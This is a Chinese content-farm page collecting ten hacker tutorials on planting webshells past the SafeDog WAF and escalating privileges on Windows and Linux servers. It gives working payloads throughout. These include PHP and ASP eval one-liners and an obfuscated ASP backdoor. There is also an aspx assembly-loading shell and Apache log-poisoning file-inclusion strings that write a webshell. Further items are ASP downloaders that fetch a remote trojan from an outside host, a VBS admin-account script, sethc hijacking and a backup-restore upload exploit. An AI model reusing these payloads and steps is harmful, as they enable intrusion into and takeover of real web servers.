一次意外突破安全狗拿Shell

时间:2023-03-26 08:04:10 其他范文 收藏本文 下载本文

一次意外突破安全狗拿Shell(精选10篇)由网友“拉丝磕耳泥客服”投稿提供,以下是小编精心整理的一次意外突破安全狗拿Shell,希望对大家有所帮助。

一次意外突破安全狗拿Shell

篇1:一次意外突破安全狗拿Shell

晚上闲来无事准备提权前几天拿的shell,无奈shell没有了进后台上传shell发先有狗。 aspx不支持。看了一个文章说安全狗“截断解析”无奈还是被拦截,

不说直接上图

截断解析是;x.asp;x.jpg  被拦截所以直接;x.asp  绕过狗思路最重要

篇2:Shell下突破安全狗远程桌面守护

首先在Shell下把安全狗的安装配置给下来 默认安装路径:

C:\Program Files\SafedogServer\SafeDogGuardCenter 找到 ProGuardData.ini 下载文件到本地虚拟机

虚拟机安装安全狗 然后文件覆盖一下 打开安全狗就可以看到的鸟....计算机名字和端口的配置信息

接下来...改虚拟机的计算机名字 然后 就可以正常连接了...

篇3:简单突破数据库备份路径限制拿shell

作者:isosky

当后台可以数据库备份的时候,你是否顿时笑了?可当备份路径不能修改,而且后缀是mdb不变,你情何以堪?

这里就说个很简单的办法,进行一次数据库备份,并抓包下来,

POST /manage/DataManage.asp?From=Confirm&Action=DataBackup&Result=Site HTTP/1.1

Accept: image/gif, image/jpeg, image/pjpeg, image/pjpeg, application/x-shockwave-flash,

application/QVOD, application/QVOD, */*

Referer: www.xxx.com.cn/manage/DataManage.asp?

From=Confirm&Action=DataBackup&Result=Site

Accept-Language: zh-cn

User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727)

Content-Type: application/x-www-form-urlencoded

Accept-Encoding: gzip, deflate

Host: www.xxx.com.cn

Content-Length: 82

Connection: Keep-Alive

Cache-Control: no-cache

Cookie: ASPSESSIONIDSADBRDSC=DOELADFALPBDPFKKHJGKGOAO; cnzz_a1183540=0; sin1183540=;

rtime=0; ltime=1307114195812; cnzz_eid=78248833-1307114200-

fromPath=..%2FDatabase%2Fameav_Site.mdb&toPath=..%2FDatabase%2FBak_ameav_Site.mdb

然后...然后...然后改路径,提交啊,路径可全在这了,

此外,如果RP够好.在提交表单的时候程序先从表单读值再执行备份的话,可以更YD..NC也不用了

1.如果你是用的火狐浏览器,装个Firebug 插件.即可随意YY~~

2.用的IE浏览器,可以使用啊D写的IE恶搞迷进行修改.不过大多时候是调用的网页,你需要找到真实的目标网页.才能去往真实的世界 :D

篇4:记一次突破安全狗提权

,。果断丢御剑。

FCK编辑器拿shell还是比较简单的,直接二次上传。。

拿到shell之后看了一下,权限还是很大的,于是乎准备提权。先看下组件。

wscript.shell被删了。看下脚本探测。一看支持aspx ,果断换马。接着上传了个cmd到C:\RECYCLER。。看看能不能执行命令、

可以执行命令。 ww. 但是net user却没回显,应该是net被禁用了、、果断上传ms11080。

成功添加用户。。但是连接的时候却这样

果断试下第二种方法。。把下面代码保存为1.vbs

Set o=CreateObject( “Shell.Users” )

Set z=o.create(“user”)

z.changePassword “12345”,“”

z.setting(“AccountType”)=3

然后以system权限运行,

。会添加一个用户user密码为12345、、

成功执行。。但是还是不行。。

估计是第三方软件阻止了。果断tasklist。。

原来有安全狗。。

试了下远控无果。。

于是准备劫持shift后门、、直接替换sethc。。

连接看看。。5下shift。没看到后门。

于是看了下进程。。发现是、、

果断替换MY_sethc。。5下shift。如图。

果断登录上去加用户。。无果

打开安全狗。。看下,被拦截了。

果断关闭帐号防护。因为net被禁用了,所以直接运行ms11080或1.vbs成功添加用户。如图。

篇5:Discuz 7.07.2后台拿Shell网站安全

1.Ucenter插入一句话:3EST\\');eval($_POST[a])?>;//

2. 然后返回刚才插入地方,随便替换几个字母

3.连接文件是根目录下的 config.inc.php

篇6:linux下备份拿shell[渗透]网站安全

关于php包含Apache日志的利用,其实也就是利用提交的网址里有php语句,然后再被Apache服务器的日志记录,然后php再去包含执行,从而包含了去执行,当然,这种办法最大的弊端是Apache日志肯定会过大,回应的时候当然会超时什么的,所以也是受条件限制的。全当一种研究算了。下面是我的测试过程,我觉得很有意思,你也看看。

比如说,在一个php存在包含漏洞就像这样,存在一句php包含漏洞的语句

你可以

xxx.com/z.php?zizzy=/etc/inetd.conf

xxx.com/z.php?zizzy=/proc/cpuinfo

xxx.com/z.php?zizzy=/etc/passwd

就可以利用包含语句来查看一些系统环境和密码档文件。

那么关于日志包含下面我们来看:

比如我们的Apache的服务器配置文件位置在这里

/usr/local/apache/conf/httpd.conf

那么我们来包含一下httpd.conf,来看下路径信息什么的

xxx.com/z.php?zizzy=/usr/local/apache/conf/httpd.conf

读出Apache的配置信息,这里列出部分信息。

User #3

Group silver

ServerAdmin webmaster@xxx.com

DocumentRoot /home/virtual/www.xxx.com

ServerName www.xxx.com

ServerAlias xxx.com

ErrorLog /home/virtual/www.xxx.com/logs/www-error_log

CustomLog /home/virtual/www.xxx.com/logs/www-access_log common

ScriptAlias /cgi-bin/ /home/virtual/www.xxx.com/cgi-bin/

Alias /icons/ /home/virtual/www.xxx.com/icons

而我们提交xxx.com/z.php?zizzy=/home ... /logs/www-error_log

就可以读出Apache的错误日志记录

[Mon Jan 22 14:01:16 ] [error] [client 218.63.194.76] File does not

exist: /home/virtual/www.xxx.com/hack.php

[Tus Jan 22 19:36:54 2005] [error] [client 218.63.148.38] File does not

exist: /home/virtual/www.xxx.com/111111111.php

[Wen Jan 23 05:14:54 2005] [error] [client 218.63.235.129] File does not

exist: /home/virtual/www.xxx.com/22222.php3

[Wen Jan 23 16:25:04 2005] [error] [client 218.63.232.73] attempt to invoke

directory as script. /home/virtual/www.xxx.com/forum

[Fir Jan 26 19:43:45 2005] [error] [client 218.63.232.73] attempt to invoke

directory as script. /home/virtual/www.xxx.com/blog

[Fir Jan 26 19:43:46 2005] [error] [client 64.229.232.73] attempt to invoke

directory as script. /home/virtual/www.xxx.com/kkkkkkkk

而数据日志/home/virtual/www.xxx.com/logs/www-access_log也是一样的,一样可以读出来,只不过文件会很大,那也没意思测试下去了,那怎么利用呢。

比如我们提交要提交这句,

在这里,我们只能提交URL编码模式,因为我在测试中发现,

在这里%3C%3Fphpinfo%28%29%3B%3F%3E这句就是转换过了的

www.xxx.com/%3C%3Fphpinfo%28%29%3B%3F%3E

这样肯定会报出错找不到页面,而一出错就被记在错误日志里了

xxx.com/z.php?zizzy=/home ... /logs/www-error_log

这样这个日志文件就被包含成了phpinfo的信息,而回显也就成了一个显示php信息的页面。

如果可以的话(能够执行系统命令,也就是safe_mode开着的时候),

这样子也不错,

/home/

total 9

-rw-r--r-- 1 www.xxx.com silver 55 Jan 20 23:01 about.php

drwxrwxrwx 4 www.xxx.com silver 4096 Jan 21 06:07 abc

-rw-r--r-- 1 www.xxx.com silver 1438 Dec 3 07:39 index.php

-rwxrwxrwx 1 www.xxx.com silver 5709 Jan 21 20:05 show.php

-rw-r--r-- 1 www.xxx.com silver 5936 Jan 18 01:37 admin.php

-rwxrwxrwx 1 www.xxx.com silver 5183 Jan 18 15:30 config.php3

-rw-rw-rw- 1 www.xxx.com silver 102229 Jan 21 23:18 info.txt

drwxr-xr-x 2 www.xxx.com silver 4096 Jan 8 16:03 backup

-rw-r--r-- 1 www.xxx.com silver 7024 Dec 4 03:07 test.php

这样就列出了home下的文件

或者直接一句话木马

这样转换后就是%3C%3Feval%28%24%5FPOST%5Bcmd%5D%29%3B%3F%3E 这样的格式。

我们提交

www.xxx.com/%3C%3Feval%28%24%5FPOST%5Bcmd%5D%29%3B%3F%3E

再用lanker的一句话木马客户端一连就OK了。

因为上面那个很不实际,我在测试中发现日志动不动就是几十兆,那样玩起来也没意思了。下面想的再深入一点也就是我们写入一个很实际的webshell来用,也比上面那种慢的要死好很多。

比如还是这句一句话木马

到这里你也许就想到了,这是个很不错的办法,

接着看,如何写入就成了个问题,用这句,

fopen打开/home/virtual/www.xxx.com/forum/config.php这个文件,然后写入

fclose($fp);?>//在config.php里写入一句木马语句

我们提交这句,再让Apache记录到错误日志里,再包含就成功写入shell,记得一定要转换成URL格式才成功。

转换为

%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww%2Exxx%2Ecom%2Fforum%2F

config%2Ephp%22%2C%22w%2B%22%29%3Bfputs%28%24fp

%2C%22%3C%3Feval%28%24%5FPOST%5Bcmd%5D%29%3B%3F%3E%22%29%3B

fclose%28%24fp%29%3B%3F%3E

我们提交

xxx.com/%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww

%2Exxx%2Ecom%2Fforum%2Fconfig%2Ephp

%22%2C%22w%2B%22%29%3Bfputs%28%24fp%2C%22%3C%3Feval%28%24%5FPOST%5B

cmd%5D%29%3B%3F%3E%22%29%3Bfclose%28%24fp%29%3B%3F%3E

这样就错误日志里就记录下了这行写入webshell的代码。

我们再来包含日志,提交

xxx.com/z.php?zizzy=/home ... /logs/www-error_log

这样webshell就写入成功了,config.php里就写入一句木马语句

OK.

www.xxx.com/forum/config.php这个就成了我们的webshell

直接用lanker的客户端一连,主机就是你的了。

PS:上面讲的,前提是文件夹权限必须可写 ,一定要-rwxrwxrwx(777)才能继续,这里直接用上面列出的目录来查看。上面讲的都是在知道日志路径的情况下的利用

其他的日志路径,你可以去猜,也可以参照这里。

附:收集的一些日志路径

../../../../../../../../../../var/log/httpd/access_log

../../../../../../../../../../var/log/httpd/error_log

../apache/logs/error.log

../apache/logs/access.log

../../apache/logs/error.log

../../apache/logs/access.log

../../../apache/logs/error.log

../../../apache/logs/access.log

../../../../../../../../../../etc/httpd/logs/acces_log

../../../../../../../../../../etc/httpd/logs/acces.log

../../../../../../../../../../etc/httpd/logs/error_log

../../../../../../../../../../etc/httpd/logs/error.log

../../../../../../../../../../var/www/logs/access_log

../../../../../../../../../../var/www/logs/access.log

../../../../../../../../../../usr/local/apache/logs/access_log

../../../../../../../../../../usr/local/apache/logs/access.log

../../../../../../../../../../var/log/apache/access_log

../../../../../../../../../../var/log/apache/access.log

../../../../../../../../../../var/log/access_log

../../../../../../../../../../var/www/logs/error_log

../../../../../../../../../../var/www/logs/error.log

../../../../../../../../../../usr/local/apache/logs/error_log

../../../../../../../../../../usr/local/apache/logs/error.log

../../../../../../../../../../var/log/apache/error_log

../../../../../../../../../../var/log/apache/error.log

../../../../../../../../../../var/log/access_log

../../../../../../../../../../var/log/error_log

/var/log/httpd/access_log

/var/log/httpd/error_log

../apache/logs/error.log

../apache/logs/access.log

../../apache/logs/error.log

../../apache/logs/access.log

../../../apache/logs/error.log

../../../apache/logs/access.log

/etc/httpd/logs/acces_log

/etc/httpd/logs/acces.log

/etc/httpd/logs/error_log

/etc/httpd/logs/error.log

/var/www/logs/access_log

/var/www/logs/access.log

/usr/local/apache/logs/access_log

/usr/local/apache/logs/access.log

/var/log/apache/access_log

/var/log/apache/access.log

/var/log/access_log

/var/www/logs/error_log

/var/www/logs/error.log

/usr/local/apache/logs/error_log

/usr/local/apache/logs/error.log

/var/log/apache/error_log

/var/log/apache/error.log

篇7:问题ewebeditor编辑器突破安全狗

题目说到了问题和突破,问题的ewebeditor程序,这儿程序问题出来哪儿呢?

1.登陆的地方被删除了,也就是admin_login.asp这个页面被删除了,

2.是post提交好像有问题,不管点击那个提交post都会跳转到登陆页面,但是登陆页面又没有,如果直接访问那个页面,当然也可以访问。

当然上边说到的突破,所谓突破也就是说非常规的环境,非常规的手法去实现同一个目的。下面说一下这个非常规的环境。

1.问题ewebeditor

2.服务器装有安全狗

下面是我测试的过程:

首先当然是增加样式,但是常规的post提交失败,于是我想到了想这样的在老程序他一般都是使用request接受数据的,于是乎我下载了源码看了下,如果如此:

01 ' 检测样式表单提交的有效性

02 sStyleName = Trim(Request(“d_name”))

03 sStyleDir = Trim(Request(“d_dir”))

04 sStyleCSS = Trim(Request(“d_css”))

05 sStyleUploadDir = Trim(Request(“d_uploaddir”))

06 sStyleBaseHref = Trim(Request(“d_basehref”))

07 sStyleContentPath = Trim(Request(“d_contentpath”))

08 sStyleWidth = Trim(Request(“d_width”))

09 sStyleHeight = Trim(Request(“d_height”))

10 sStyleMemo = Request(“d_memo”)

11 sStyleImageExt = Request(“d_imageext”)

12 sStyleFlashExt = Request(“d_flashext”)

13 sStyleMediaExt = Request(“d_mediaext”)

14 sStyleRemoteExt = Request(“d_remoteext”)

15 sStyleFileExt = Request(“d_fileext”)

16 sStyleImageSize = Request(“d_imagesize”)

17 sStyleFlashSize = Request(“d_flashsize”)

18 sStyleMediaSize = Request(“d_mediasize”)

19 sStyleRemoteSize = Request(“d_remotesize”)

20 sStyleFileSize = Request(“d_filesize”)

21 sStyleStateFlag = Request(“d_stateflag”)

22 sStyleAutoRemote = Request(“d_autoremote”)

23 sStyleShowBorder = Request(“d_showborder”)

24 sStyleUploadObject = Request(“d_uploadobject”)

25 sStyleAutoDir = Request(“d_autodir”)

26 sStyleDetectFromWord = Request(“d_detectfromword”)

27 sStyleInitMode = Request(“d_initmode”)

28 sStyleBaseUrl = Request(“d_baseurl”)

他的数据接受都是request,也就是说他会接受post和get和cookie提交上去的数据。

当然此处post失效了,所以我抓了下包,得到如下数据

01 www.2cto.com /system/eWebEditor/admin_style.asp?action=StyleSetSave&id=50

02

03 POST /system/eWebEditor/admin_style.asp?action=StyleSetSave&id=50 HTTP/1.1

04 Host: xxxx.com

05 User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:12.0) Gecko/0101 Firefox/12.0

06 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

07 Accept-Language: en-US,en;q=0.5

08 Accept-Encoding: gzip, deflate

09 Connection: keep-alive

10 Referer: www.2cto.com /system/eWebEditor/admin_style.asp?action=styleset&id=50

11 Cookie: ASPSESSIONIDSABCQBBT=KHLJMNEAEKNNMGAMJAFHCPOK

12 Content-Type: application/x-www-form-urlencoded

13 Content-Length: 740

14 d_name=standard1&d_initmode=EDIT&d_uploadobject=0&d_autodir=0&d_dir=standard&d_css=office&d_width=550&d_height=350&d_stateflag=1&d_detectfromword=true&d_autoremote=1&d_showborder=0&d_baseurl=1&d_uploaddir=UploadFile%2F&d_basehref=&d_contentpath=&d_imageext=gif%7Cjpg%7Cjpeg%7Cbmp%7C%3Basa.ass%3B.jpg&d_imagesize=500&d_flashext=swf&d_flashsize=100&d_mediaext=rm%7Cmp3%7Cwav%7Cmid%7Cmidi%7Cra%7Cavi%7Cmpg%7Cmpeg%7Casf%7Casx%7Cwma%7Cmov&d_mediasize=100&d_fileext=rar%7Czip%7Cexe%7Cdoc%7Cxls%7Cchm%7Chlp&d_filesize=500&d_remoteext=gif%7Cjpg%7Cjpeg%7Cbmp&d_remotesize=100&d_memo=Office%B1%EA%D7%BC%B7%E7%B8%F1%A3%AC%B2%BF%B7%D6%B3%A3%D3%C3%B0%B4%C5%A5%A3%AC%B1%EA%D7%BC%CA%CA%BA%CF%BD%E7%C3%E6%BF%ED%B6%C8%A3%AC%C4%AC%C8%CF%D1%F9%CA%BD&x=42&y=11

于是使用构造get提交方式:

xxxx.com/system/eWebEditor/admin_style.asp?action=StyleSetSave&id=50&d_name=standard1&d_initmode=EDIT&d_uploadobject=0&d_autodir=0&d_dir=standard&d_css=office&d_width=550&d_height=350&d_stateflag=1&d_detectfromword=true&d_autoremote=1&d_showborder=0&d_baseurl=1&d_uploaddir=%2F&d_basehref=&d_contentpath=&d_imageext=gif%7Cjpg%7Cjpeg%7Cbmp%7Casaspp%7Ccer%7cASA&d_imagesize=500&d_flashext=swf&d_flashsize=100&d_mediaext=rm%7Cmp3%7Cwav%7Cmid%7Cmidi%7Cra%7Cavi%7Cmpg%7Cmpeg%7Casf%7Casx%7Cwma%7Cmov&d_mediasize=100&d_fileext=rar%7Czip%7Cexe%7Cdoc%7Cxls%7Cchm%7Chlp&d_filesize=500&d_remoteext=gif%7Cjpg%7Cjpeg%7Cbmp&d_remotesize=100&d_memo=Office%B1%EA%D7%BC%B7%E7%B8%F1%A3%AC%B2%BF%B7%D6%B3%A3%D3%C3%B0%B4%C5%A5%A3%AC%B1%EA%D7%BC%CA%CA%BA%CF%BD%E7%C3%E6%BF%ED%B6%C8%A3%AC%C4%AC%C8%CF%D1%F9%CA%BD&x=42&y=11

然后直接访问时,他显示是提交成功了,实际上也米有成功,需要我们先访问:

xxxx.com/system/eWebEditor/admin_style.asp?action=styleset&id=50

然后在在地址栏中输入上边的get提交数据,就会显示成功,

这儿我们可以修改样式了,但是安全狗作怪使得asa、cer和asp;jpg等等的修改都无效,但是aaspsp这样的修改绕过去了安全狗,这儿可能是程序天然给我们的一个绕安全狗的方法吧!程序本身使用的代码有问题,他会替换aaspsp中完整的asp部分为空格使得剩下的部分还是asp,这儿的代码依旧是一个替换函数,就不多说了,前辈们已经写了很多了。就是这样的一个代码写法使得我们天然绕过了安全狗上传asp的文件了,重这里我们也可以得到启发,以后我们绕安全狗是不是也可以使用这样的代码写法去绕过,话不多说,留下余香。

接下来我曾填好了可以传的后缀asp,但是视乎目录有问题,以前默认的目录是uploadfiles这个文件目录,视乎是做了限制,于是我想到了修改上传文件目录,当然你可以仔细看我上边构造的哪个get提交上边的d_uploaddir属性的值是%2F,也就是一个/,于是我传上去的文件在根目录下。

当然这儿已经为我们上传做好了所有铺垫了,我们现在只需要一个可以绕过安全狗的马就ok了。

还记得以前解密一个asp木马的时候,里面有一个后门,当时只是以为那个是一个后门,但是后面有心人测试发现这个后门很是了得可以绕过护卫神,今天我又用它绕过了安全狗。

01 <%

02 codeds=“Li#uhtxhvw+%{{%,#@%{%#wkhq#hydo#uhtxhvw+%knpmm%,#hqg#li”

03 execute (decode (codeds) )

04 Function DeCode (Coded)

05 On Error Resume Next

06 For i = 1 To Len (Coded)

07 Curchar = Mid (Coded, i, 1)

08 If Asc (Curchar) = 16 then

09 Curchar = chr (8)

10 Elseif Asc (Curchar) = 24 then

11 Curchar = chr (12)

12 Elseif Asc (Curchar) = 32 then

13 Curchar = chr (18)

14 Else

15 Curchar = chr (Asc (Curchar) -3)

16 End if

17 DeCode = Decode&Curchar

18 Next

19 End Function

20 'response.write(decode(codeds))

21 %>

最后突破成功!上传一句话成功!!!

from:lanu.sinaapp.com/jishuwenzhang/113.html

篇8:突破一流监控系统写shell网站安全

突破一流监控系统写shell有2中方法(PS:我只知道2中)

还有一种是捆绑图片,一下介绍的是第二种

<%

Set xPost = CreateObject(“Microsoft.XMLHTTP”)

xPost.Open “GET”,“hi.baidu.com/xahacker/1.txt”,False //代码在网上的地址 也就是大马

xPost.Send

Set sGet = CreateObject(“ADODB.Stream”)

sGet.Mode = 3

sGet.Type = 1

sGet.Open()

sGet.Write(xPost.responseBody)

sGet.SaveToFile Server.MapPath(“test.asp”),2 //在根目录生成的文件

set sGet = nothing

set sPOST = nothing

response.Write(“下载文件成功!”)

%>

-------------------------------

------------------------------------------

<%

Set xPost = CreateObject(“Microsoft.XMLHTTP”)

xPost.Open “GET”,”hi.baidu.com/xahacker/fuck.txt”,False

xPost.Send()

Set sGet = CreateObject(“ADODB.Stream”)

sGet.Mode = 3

sGet.Type = 1

sGet.Open()

sGet.Write(xPost.responseBody)

sGet.SaveToFile Server.MapPath(“fuck.asp”),2

set sGet = nothing

set sPOST = nothing

%>

来源:街头诗人

篇9:可突破安全狗的aspx一句话

在看一个站的时候,发现服务器装了安全狗,刚开始利用IIS6的畸形解析一直被拦截,最后找到了不用畸形解析的办法,传了菜刀的一句话,却连不上,一直返回403,应该是被拦截,后来找了个相对比较生僻的一句话,终于上传并连接成功,

服务端一句话木马:

<%@ Page Language=“C#” ValidateRequest=“false” %>

<%try{ System.Reflection.Assembly.Load(Request.BinaryRead(int.Parse(Request.Cookies[“你的密码”].Value))).CreateInstance(“c”, true, System.Reflection.BindingFlags.Default, null, new object[] { this }, null, null); } catch { }%>

客户端截图:

篇10:记事狗微博V3.6.1 Build 0718后台拿shell漏洞预警

记事狗微博系统,后台存在设计缺陷,可导致进入后台者获得shell

版本:V3.6.1 Build 20120718

1.系统工具->数据备份->自定义备份->选择一张数据量较小的表->更多选项->选择压缩备份文件->多分卷压缩成一个文件,

直接提交。

2.直接把备份文件下载下来,然后往备份文件添加一个zzz.php.sql,内容为

3.然后找一张正常的图片 执行cat yy520.zip >>yy520.png ,前台提交yy520.png

4.获取图片的地址images/topic/6/17/14_o.jpg,回到后台 系统工具->数据恢复

点击解压缩,用burp suite 截包

修改为:datafile_server=./images/topic/6/17/14_o.jpg

最后访问

最后的最后,请让我解释一下,为什么上面会有那么多2b的步骤。

1.

$datafile_server = get_param(‘datafile_server’);

。。。。。

$unzip->ReadFile($datafile_server);

if($unzip->Count() == 0 || $unzip->GetError(0) != 0 || !preg_match(“/\.sql$/i”, $importfile = $unzip->GetName(0))) {

$this->Messager(‘数据文件不存在: 可能服务器不允许上传文件或尺寸超过限制。’,null);

}

由于上面preg_match的限制,在压缩文件里面的文件名必须是以sql结尾,这个可以用apache解析绕过,所以我们的文件名必须是***.php.sql

2.

$identify = explode(‘,’, base64_decode(preg_replace(“/^# Identify:\s*(\w+).*/s”, “\\1″, substr($unzip->GetData(0), 0, 256))));

$confirm = !empty($confirm) ? 1 : 0;

if(!$confirm && $identify[1] !=SYS_VERSION) {

。。。反正就不是解压的操作

}

在进行导入的时候它会查看压缩包的第一个文件的头部,然后决定是直接导入,还是先解压,所以我们需要一个正常的备份文件,也就是那个yy520-1.sql

才会执行下面

$sqlfilecount = 0;

foreach($unzip->Entries as $entry) {

if(preg_match(“/\.sql$/i”, $entry->Name)) {

$len = Load::lib(‘io’, 1)->WriteFile(‘./data/backup/’.$backupdir.’/’.$entry->Name, $entry->Data);

$sqlfilecount++;

}

}

3.

然后我就屁颠屁颠的跑前台上传zip文件,后来我发现上传后的zip文件路径是记录在数据库中,路径是由一个mysql_insert_id 来随机生成滴,本来想暴力破,直接提交乌云,敷衍了事,后来想想意义不大。然后发现$unzip->ReadFile($datafile_server);可以读取jpg的,然后就把那个zip文件直接改为jpg上传,提示错误(不是一个有效的图片),看了代码

if(function_exists(‘exif_imagetype’) && !exif_imagetype($temp)) {

$this->_setError(507);

return false;

} elseif (function_exists(‘getimagesize’) && !getimagesize($temp)) {

$this->_setError(507);

return false;

}

然后就必须用一个正常文件,所以必须用cat yy520.zip >>yy520.png

后台拿个shell有必要那么难为我吗~。~

修复方案:

稍微微的过滤一下下$datafile_serve

linux当mysql以root权限登录时提权网站安全

FCKeditor 建立文件夹、上传文件时“.”变“”的突破漏洞预警

后门750字作文

脚本范文

手工打造寿山石励志句子

狗拿耗子-多管闲事作文

疑问教学之“四五六七八”

微软IIS 6.0和7.5的多个漏洞及利用方法漏洞预警

Solaris学习笔记Windows系统

规章制度执行有漏洞

一次意外突破安全狗拿Shell
《一次意外突破安全狗拿Shell.doc》
将本文的Word文档下载到电脑,方便收藏和打印
推荐度:
点击下载文档

【一次意外突破安全狗拿Shell(精选10篇)】相关文章:

Linux配置MySQL数据库详解linux操作系统2022-11-22

教你做服务级的木马后门2023-07-09

切割钻石勇气的范文2022-08-11

多媒体远程职业教育的教学特点与模式2023-04-20

SA239考前总结(14章)Windows系统2023-01-23

上传漏洞终结篇讲解2022-10-05

扩展思维新方法后台拿shell2022-05-06

高二作文序列2022-05-06

Discuz XSS得webshell脚本安全2022-05-08

PHP安全 XSS篇2022-08-02